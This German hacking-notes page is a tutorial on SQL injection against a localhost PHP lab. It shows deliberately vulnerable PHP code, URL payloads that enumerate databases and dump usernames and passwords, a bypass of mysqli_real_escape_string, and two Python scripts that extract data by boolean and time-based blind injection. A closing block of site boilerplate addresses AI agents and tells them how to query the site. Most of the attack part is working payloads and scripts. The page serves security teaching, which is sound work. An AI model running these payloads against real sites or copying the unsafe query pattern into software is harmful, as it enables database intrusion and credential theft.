> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-techniques-pentesting-web.md).

# SQLi-Techniken

## Fehlerbasierte SQL-Injection

> Die fehlerbasierte SQL-Injection nutzt Fehler im SQL-Code aus, um Informationen zu erhalten. Wenn beispielsweise eine Abfrage einen Fehler mit einer bestimmten Meldung zurückgibt, kann diese Meldung verwendet werden, um Informationen über das System zu erhalten.

* Die PHP-Datei einer Website, die für fehlerbasierte SQL-Injection anfällig ist, hat eine ähnliche Struktur:

```php
<?php
	$server = "localhost";
	$username = "jordan";
	$password = "passwordDB";
	$database = "Jordan";
	// Verbindung zur Datenbank
	$conn = new mysqli($server, $username, $password, $database);
$id = $_GET['id'];
$data = mysqli_query ($conn, "select username from users where id = '$id'") or die (mysqli_error($conn));
$response = mysqli_fetch_array($data);
echo $response['username'];
?>

```

Überprüfung der Schwachstelle durch Ausführung eines **sleep** in der URL:

```bash
http://localhost/searchUsers.php?id=3' and sleep(5)-- -

```

Um die Anzahl der Spalten zu ermitteln, verwenden Sie **order by** bis Sie keine identischen Fehler mehr erhalten:

```bash
http://localhost/searchUsers.php?id=3' order by 4-- -

```

<figure><img src="/files/29a2d17626d6c437518f7dfcaf681384454a7993" alt=""><figcaption></figcaption></figure>

Sobald die Anzahl der Spalten bekannt ist, verwenden Sie **union select** um die Schwachstelle zu überprüfen:

```bash
http://localhost/searchUsers.php?id=3' union select 1-- -

```

Wenn der vorherige Schritt die ID zurückgibt, verwenden Sie eine ID, die nicht existiert, und **union select** um den Namen der aktuell verwendeten Datenbank zu erhalten:

```bash
http://localhost/searchUsers.php?id=19928282' union select database()-- -

```

Um alle vorhandenen Datenbanken aufzulisten:

```bash
http://localhost/searchUsers.php?id=19928282' union select group_concat(schema_name) from information_schema.schemata -- -

```

<figure><img src="/files/a559e038b81d2b8dbc11f0b02dca4f88e187ff64" alt=""><figcaption></figcaption></figure>

Sobald Sie die Namen aller Datenbanken kennen, verwenden Sie den Namen (Jordan), um die Tabelle zu filtern und anzuzeigen:

```bash
http://localhost/searchUsers.php?id=19928282' union select group_concat(table_name) from information_schema.tables where table_schema='Jordan'  -- -

```

<figure><img src="/files/2895960e16e74ab60a8ebfecf79adf703498cf90" alt=""><figcaption></figcaption></figure>

Ebenso können Sie mit der Tabelle "users" die Spalten anzeigen:

```bash
http://localhost/searchUsers.php?id=19928282' union select group_concat(column_name) from information_schema.columns where table_schema='Jordan' and table_name='users' -- -

```

<figure><img src="/files/68a0ed7c13d94e560988000de8af3be25db3aa59" alt=""><figcaption></figcaption></figure>

Um die Spalten aufzulisten (Benutzer und Passwort):

```sql
http://localhost/searchUsers.php?id=19928282' union select group_concat(username) from Jordan.users -- -
http://localhost/searchUsers.php?id=19928282' union select group_concat(password) from Jordan.users -- -

```

<figure><img src="/files/7fec7709e1126ab95ab0f9e4a150e6b337f89527" alt=""><figcaption></figcaption></figure>

Um den vollständigen Satz anzuzeigen:

```bash
http://localhost/searchUsers.php?id=19928282' union select group_concat(username,':',password) from Jordan.users -- -

```

<figure><img src="/files/1a745de3f40f411410cb15f49d1f6cb648ef4612" alt=""><figcaption></figcaption></figure>

## SQL mit Sanitisierung "mysqli/\_real/\_escape/\_string"

In vielen Fällen führt der PHP-Code eine kleine Sanitisierung mit **mysqli/\_real/\_escape/\_string**. Dies kann jedoch umgangen werden, wenn die Anführungszeichen in der ID falsch platziert sind.

```php
<?php
$id = mysqli_real_escape_string($conn, $_GET['id']);
$data = mysqli_query ($conn, "select username from users where id = $id");
?>

```

In diesem Fall können Sie denselben Vorgang ohne einfache Anführungszeichen durchführen:

```bash
http://localhost/searchUsers.php?id=9983 union select database()

```

## Boolesche oder zeitbasierte SQL-Injection:

> Zeitbasierte SQL-Injection verwendet eine Abfrage, deren Ausführung lange dauert, um Informationen zu erhalten. Wenn beispielsweise eine Abfrage eine Suche in einer Tabelle durchführt und der Anfrage eine Verzögerung hinzugefügt wird, kann diese Verzögerung verwendet werden, um zusätzliche Informationen zu erhalten.

***

> Die boolesche SQL-Injection verwendet Anfragen mit booleschen Ausdrücken, um zusätzliche Informationen zu erhalten. Beispielsweise kann eine Abfrage mit einem booleschen Ausdruck verwendet werden, um festzustellen, ob ein Benutzer in einer Datenbank existiert.

***

Es gibt viele Fälle, in denen eine Website auf eine Seite weiterleitet **404 Nicht gefunden** wenn die ID darauf hinweist, dass sie nicht existiert. Hier ist ein Beispiel für Code mit der Funktion **http/\_response/\_code**:

```php
<?php
if (! isset($response['username'])){
	http_response_code(404);
}
?>

```

Visuelles Beispiel für den Statuscode **404 Nicht gefunden** und **200 OK** durch **curl** wenn eine Abfrage falsch oder korrekt ist:

```bash
curl -s -I -X GET "http://localhost/searchUsers.php" -G --data-urlencode "id=9"

```

<figure><img src="/files/b754d7163a40bf8ce9b557df6e94c1d00a575e1d" alt="" width="563"><figcaption></figcaption></figure>

Daher können bei einem Blindangriff zwei Techniken verwendet werden: die Bedingungen oder die Zeit.

### Boolesche SQL-Injection

Senden Sie eine Anfrage mit einer ID, die nicht existiert **oder wenn 1 = 1**:

```bash
curl -s -I -X GET "http://localhost/searchUsers.php" -G --data-urlencode "id=100000 or 1=1"

```

<figure><img src="/files/95bcd47151f2fc9197793781f453bbbee1416d75" alt="" width="563"><figcaption></figcaption></figure>

Mit dem folgenden Python-Skript können Sie diese Sicherheitslücke ausnutzen, um auf die Datenbank zuzugreifen. In diesem Beispiel ruft das Skript die Benutzernamen und Passwörter ab (die Datei muss entsprechend der URL, den Tabellennamen, Spalten, Datenbanken usw. geändert werden, wie zuvor gezeigt, indem die Variable geändert wird **sqli/\_url**).

```python
#!/usr/bin/python3
import requests
import signal
import sys
import time
import string
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] Beende... /n")
    sys.exit(1)
# SQLi-Techniken
signal.signal(signal.SIGINT, def_handler)
# SQLi-Techniken
main_url = "http://localhost/searchUsers.php"
characters = string.printable
def makeSQLI():
    p1 = log.progress("Brute Force")
    p1.status("Beginn des Brute-Force-Vorgangs")
    time.sleep(2)
    p2 = log.progress("Extrahierte Daten")
    extracted_info = ""
    for position in range(1, 150):
        for character in range(33, 126):
            sqli_url = main_url + "?id=1000000 or (select(select ascii(substring((select group_concat(username,0x3a, password) from users),%d,1)) from users where id = 1)=%d)" % (position, character)
            p1.status(sqli_url)
            r = requests.get(sqli_url)
            if r.status_code == 200:
                extracted_info += chr(character)
                p2.status(extracted_info)
                break
if __name__ == '__main__':
    makeSQLI()

```

<figure><img src="/files/d5d8efc795d9e970e8c80e1d6dd7de4f81d81861" alt="" width="563"><figcaption></figcaption></figure>

### Zeitbasierte SQL-Injection

Senden Sie eine Anfrage mit einer ID, die nicht existiert, oder **sleep (0.35)**:

```bash
curl -s -I -X GET "http://localhost/searchUsers.php" -G --data-urlencode "id=1000000 or sleep(0.35)"

```

Mit dem folgenden Python-Skript können Sie diese Sicherheitslücke ausnutzen, um auf die Datenbank zuzugreifen. In diesem Beispiel listet das Skript den Namen der Datenbank auf (die Datei muss entsprechend der URL, den Tabellennamen, Spalten, Datenbanken usw. geändert werden, wie zuvor gezeigt, indem die Variable geändert wird **sqli/\_url**).

```python
#!/usr/bin/python3
import requests
import signal
import sys
import time
import string
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] Beende... /n")
    sys.exit(1)
# SQLi-Techniken
signal.signal(signal.SIGINT, def_handler)
# SQLi-Techniken
main_url = "http://localhost/searchUsers.php"
characters = string.printable
def makeSQLI():
    p1 = log.progress("Brute Force")
    p1.status("Beginn des Brute-Force-Vorgangs")
    time.sleep(2)
    p2 = log.progress("Extrahierte Daten")
    extracted_info = ""
    for position in range(1, 150):
        for character in range(33, 126):
            sqli_url = main_url + "?id=1000000 or if(ascii(substr(database(),%d,1))=%d,sleep(0.35),1)" % (position, character)
            p1.status(sqli_url)
            time_start = time.time()
            r = requests.get(sqli_url)
            time_end = time.time()
            if time_end - time_start > 0.35:
                extracted_info += chr(character)
                p2.status(extracted_info)
                break
if __name__ == '__main__':
    makeSQLI()

```

<figure><img src="/files/7f17a04391f90538eacb5ddbd30294972b6051aa" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
